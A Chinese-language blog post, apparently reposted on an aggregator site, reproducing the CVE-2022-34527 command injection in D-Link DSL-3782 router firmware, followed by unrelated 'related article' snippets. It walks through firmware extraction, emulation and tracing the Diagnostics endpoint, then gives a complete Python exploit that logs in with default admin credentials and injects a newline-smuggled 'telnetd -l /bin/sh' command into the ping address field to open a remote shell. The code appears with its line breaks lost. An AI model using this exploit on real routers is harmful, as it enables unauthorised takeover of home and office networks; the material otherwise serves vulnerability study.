CVE-2022-34527 D-Link DSL-3782命令注入漏洞复现

一、漏洞描述

CVE-2022-34527 D-Link DSL-3782 v1.03及以下版本被发现包含通过函数byte_4C0160的命令注入漏洞,根据已知公开在cfg_manger 文件的代码 sub_474c78 函数中,byte_4C0160作为system的参数执行。

固件地址:https://media.dlink.eu/support/products/dsl/dsl-3782/driver_software/dsl-3782_a1_eu_1.01_07282016.zip

二、固件提取

iot@attifyos ~/D/dsl-3782_a1_eu_1.01_07282016> binwalk -Me DSL-3782_A1_EU_1.01_07282016.bin

在这里插入图片描述
首先通过查询路由启动信息服务,来找到相关需要验证这个注入漏洞的文件(命令)。
/usr/etc/init.d/rcS 是一个在Linux系统中用于初始化系统的脚本文件。在路由器或嵌入式系统中,它通常是启动系统时会自动运行的脚本之一,用于执行各种初始化任务和设置。直接通过关键字直接搜索server

#Web server
if [ ! -d "/var/boaroot/html/" ] || [ ! -d "/var/boaroot/cgi-bin/" ]; then
/userfs/bin/boa -c /boaroot -d &
/bin/rm -rf /var/boaroot
else
/userfs/bin/boa -c /var/boaroot -d &

在这里插入图片描述
贴出的脚本涉及使用 Boa 网络服务器软件启动一个网页服务器。Boa 是一款轻量级且简单的网络服务器,通常用于嵌入式系统和资源受限的环境。这个脚本似乎有以下功能:

它会检查两个目录是否存在:/var/boaroot/html//var/boaroot/cgi-bin/。这些目录很可能用于存放网页服务器的 HTML 文件和 CGI 脚本。

三、固件模拟

sudo python3 fat.py ./DSL-3782.bin

在这里插入图片描述
在这里插入图片描述
默认密码是:admin,进入之后直接关闭页面直接通过菜单栏找到Management >> Diagnostics,看到过较多文章直接使用相关ping功能进行朔源漏洞点!
在这里插入图片描述
在这里插入图片描述

POST /cgi-bin/New_GUI/Set/Diagnostics.asp HTTP/1.1

抓到的POST包,有个ping功能的asp功能页面/cgi-bin/New_GUI/Set/Diagnostics.asp快捷方式找asp文件
在这里插入图片描述

<%
TcWebApi_Set("Diagnostics_Entry","Type","Type")
TcWebApi_Set("Diagnostics_Entry","Addr","Addr")
TCWebApi_commit("Diagnostics_Entry")
%>a

在这里插入图片描述

iot@attifyos ~/D/d/_/squashfs-root> grep -r Diagnostics_Entry
boaroot/cgi-bin/get/New_GUI/Diagnostics.cgi:node_name="Diagnostics_Entry"
boaroot/cgi-bin/New_GUI/Set/Diagnostics.asp:TcWebApi_Set("Diagnostics_Entry","Type","Type")
boaroot/cgi-bin/New_GUI/Set/Diagnostics.asp:TcWebApi_Set("Diagnostics_Entry","Addr","Addr")
boaroot/cgi-bin/New_GUI/Set/Diagnostics.asp:TCWebApi_commit("Diagnostics_Entry")
Binary file userfs/bin/cfg_manager matchesiot@attifyos ~/D/d/_/squashfs-root> file userfs/bin/cfg_manager matches
userfs/bin/cfg_manager: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, stripped
matches:                cannot open `matches' (No such file or directory)

在这里插入图片描述
或者搜索文件名字:cfg_manager

四、漏洞分析

IDA打开文件后直接shift+F3 搜索:byte_4C0160
在这里插入图片描述
后续在更新

五、漏洞利用

在这里插入图片描述
EXP

import requests
import urllib
import os
from time import sleep
from urllib.parse import unquoteserver = "192.168.1.1"
main_url = "http://192.168.1.1:80"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",}def login():s = requests.Session()s.verify = Falseurl = main_url + "/cgi-bin/Login.asp?User=admin&Pwd=admin&_=1690122728925"resp = s.get(url,headers=headers,timeout=10)print(resp.text)def get_session_key():s = requests.Session()s.verify = Falseurl = main_url + "/cgi-bin/get/New_GUI/get_sessionKey.asp"resp = s.get(url,headers=headers,timeout=10)sessionKey = resp.textprint(sessionKey)return sessionKeydef exp(sessionKey=None):cmd = "%0autelnetd -p 8090 -l /bin/sh%0a"s = requests.Session()s.verify = Falseparams = {"Type":"p", "sessionKey":urllib.parse.unquote(sessionKey),"Addr":urllib.parse.unquote(cmd)}url = main_url + "/cgi-bin/New_GUI/Set/Diagnostics.asp"resp = s.post(url,data=params,headers=headers,timeout=100000)print(resp.text)if __name__ == '__main__':print("\n[*] Connection ",main_url);login()print("[*] Getting session key")sessionKey = get_session_key()print("[*] Sending payload")exp(sessionKey=sessionKey)print("[*] Running Telnetd Service")print("[*] Opening Telnet Connection\n")sleep(3)os.system('telnet ' + str(server) + ' 8090')

六、参考

D-Link DSL-3782 代码注入漏洞CVE-2022-34527分析- IOTsec-Zone物联网安全社区
命令注入漏洞CVE-2022-34527复现(学习记录)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/84207.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据结构数组栈的实现

Hello&#xff0c;今天我们来实现一下数组栈&#xff0c;学完这个我们又更进一步了。 一、栈 栈的概念 栈是一种特殊的线性表&#xff0c;它只允许在固定的一端进行插入和删除元素的操作。 进行数据的插入和删除只在栈顶实现&#xff0c;另一端就是栈底。 栈的元素是后进先出。…

【Linux】进程状态|僵尸进程|孤儿进程

前言 本文继续深入讲解进程内容——进程状态。 一个进程包含有多种状态&#xff0c;有运行状态&#xff0c;阻塞状态&#xff0c;挂起状态&#xff0c;僵尸状态&#xff0c;死亡状态等等&#xff0c;其中&#xff0c;阻塞状态还包含深度睡眠和浅度睡眠状态。 个人主页&#xff…

【C++】初步认识模板

&#x1f3d6;️作者&#xff1a;malloc不出对象 ⛺专栏&#xff1a;C的学习之路 &#x1f466;个人简介&#xff1a;一名双非本科院校大二在读的科班编程菜鸟&#xff0c;努力编程只为赶上各位大佬的步伐&#x1f648;&#x1f648; 目录 前言一、泛型编程二、函数模板2.1 函…

【80天学习完《深入理解计算机系统》】第十一天 3.4 跳转指令

专注 效率 记忆 预习 笔记 复习 做题 欢迎观看我的博客&#xff0c;如有问题交流&#xff0c;欢迎评论区留言&#xff0c;一定尽快回复&#xff01;&#xff08;大家可以去看我的专栏&#xff0c;是所有文章的目录&#xff09;   文章字体风格&#xff1a; 红色文字表示&#…

【docker】运行registry

registry简介 Docker registry是docker镜像仓库的服务,用于存储和分发docker镜像。 Docker registry主要特点和功能: 存储docker镜像:提供持久化存储docker镜像的功能,存储镜像的各个layer。 分发镜像:拉取和推送镜像的去中心化存储和分发服务。 支持版本管理:给镜像打标签…

DNS域名解析服务器

一、DNS简介 1、因特网的域名结构 2、域名服务器的类型划分 二、DNS域名解析的过程 三、DNS服务器配置 两个都定义&#xff0c;ttl的优先&#xff1a; 能解析&#xff0c;不能拼通&#xff08;没有13这个主机&#xff09; 别名&#xff1a; 测试&#xff1a; 主&#xff08;192…

【SkyWalking】分布式服务追踪与调用链系统

1、基本介绍 SkyWalking是一个开源的观测平台&#xff0c;官网&#xff1a;Apache SkyWalking&#xff1b; 可监控&#xff1a;分布式追踪调用链 、jvm内存变化、监控报警、查看服务器基本配置信息。 2、SkyWalking架构原理 在整个skywalking的系统中&#xff0c;有三个角色&am…

vue ui 创建项目没有反应

问题 cmd中输入 vue ui 没有反应 解决办法 vue ui命令需要vue3.0以上的版本才可以 1、查看当前版本 vue --version vue版本在3.0以下是没有ui命令的 2、查看版本所拥有的命令 vue -h 3、卸载之前版本的vue npm uninstall vue-cli -g 卸载完成&#xff0c;检查是否已经…

有限与无限游戏 | 真北荐书

2023佛山敏捷之旅暨DevOps Meetup志愿者为进行大会的组织与准备&#xff0c;每周三晚有一个例会。 例会前等人的时间&#xff0c;涌现出一个小的分享环节。今天分享这本书&#xff1a;《有限与无限游戏》。 大家选择成为志愿者&#xff0c;是一个无限游戏。而组织活动和完成各种…

windows11不允许安装winpcap4.1.3

问题&#xff1a;下载安装包后在安装时显示与电脑系统不兼容&#xff0c;不能安装。 原因&#xff1a;winpcap是一个用于Windows操作系统的网络抓包库&#xff0c;有一些安全漏洞&#xff0c;存在被黑客攻击的风险。Windows11为了加强系统安全而禁用了这个库&#xff0c;因此不…

ctfshow web入门 php特性 web108-web112

1.web108 strrev() 反转字符串 <?php echo strrev("Hello world!"); // 输出 "!dlrow olleH" ?> ereg 存在空字符截断(只会匹配%00前面的字符)&#xff0c;这个函数匹配到为true&#xff0c;没有匹配到为false,877为0x36d的十进制数值 payload: …

【数据结构】如何用栈实现队列?图文解析(LeetCode)

LeetCode链接&#xff1a;232. 用栈实现队列 - 力扣&#xff08;LeetCode&#xff09; 注&#xff1a;本文默认读者已掌握栈与队列的基本操作 可以看这篇文章熟悉知识点&#xff1a;【数据结构】栈与队列_字节连结的博客-CSDN博客 目录 做题思路 代码实现 1. MyQueue 2. …

leetcode 541.反转字符串II

⭐️ 题目描述 &#x1f31f; leetcode链接&#xff1a;https://leetcode.cn/problems/reverse-string-ii/ ps&#xff1a; 这道题描述的有点晦涩难懂&#xff0c;意思就是每隔k个反转k个&#xff0c;末尾不够k个时全部反转&#xff0c;开始就不够k个也全部反转。 代码&#…

Doris异常处理

1、decimal 字段异常 修改为 2、连接超时 Caused by: com.mysql.cj.exceptions.CJCommunicationsException: Communications link failure The last packet successfully received from the server was 1,068 milliseconds ago. The last packet sent successfully to the ser…

js中?.、??、??=的用法及使用场景

上面这个错误&#xff0c;相信前端开发工程师应该经常遇到吧&#xff0c;要么是自己考虑不全造成的&#xff0c;要么是后端开发人员丢失数据或者传输错误数据类型造成的。因此对数据访问时的非空判断就变成了一件很繁琐且重要的事情&#xff0c;下面就介绍ES6一些新的语法来方便…

k8s service (三)

K8s service (三) LoadBalancer类型的Service LoadBalancer和NodePort其实是同一种方式&#xff0c;目的都是向外暴露一个端口&#xff0c;区别在于LoadBalancer会在集群的外部再来做一个负载均衡设备&#xff0c;而这个设备需要外部环境支持的&#xff0c;外部服务发送到这…

数据库三大范式是什么,又为什么要反范式?

&#x1f3c6;作者简介&#xff0c;黑夜开发者&#xff0c;CSDN领军人物&#xff0c;全栈领域优质创作者✌&#xff0c;CSDN博客专家&#xff0c;阿里云社区专家博主&#xff0c;2023年6月CSDN上海赛道top4。 &#x1f3c6;数年电商行业从业经验&#xff0c;历任核心研发工程师…

leetcode:只出现一次的数字Ⅲ(详解)

题目&#xff1a; 给你一个整数数组 nums&#xff0c;其中恰好有两个元素只出现一次&#xff0c;其余所有元素均出现两次。 找出只出现一次的那两个元素。你可以按 任意顺序 返回答案。 你必须设计并实现线性时间复杂度的算法且仅使用常量额外空间来解决此问题。 示例 1&…

Python框架【自定义过滤器、自定义数据替换过滤器 、自定义时间过滤器、选择结构、选择练习、循环结构、循环练习、导入宏方式 】(三)

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是爱敲代码的小王&#xff0c;CSDN博客博主,Python小白 &#x1f4d5;系列专栏&#xff1a;python入门到实战、Python爬虫开发、Python办公自动化、Python数据分析、Python前后端开发 &#x1f4e7;如果文章知识点有错误…

Wireshark数据抓包分析之ARP协议

一、实验目的&#xff1a; 通过wireshark的数据抓包了解这个ARP协议的具体内容 二、预备知识: 1.Address Resolution Protocol协议&#xff0c;就是通过目标IP的值&#xff0c;获取到目标的mac地址的一个协议 2.ARP协议的详细工作过程&#xff0c;下面描述得非常清晰&#xff…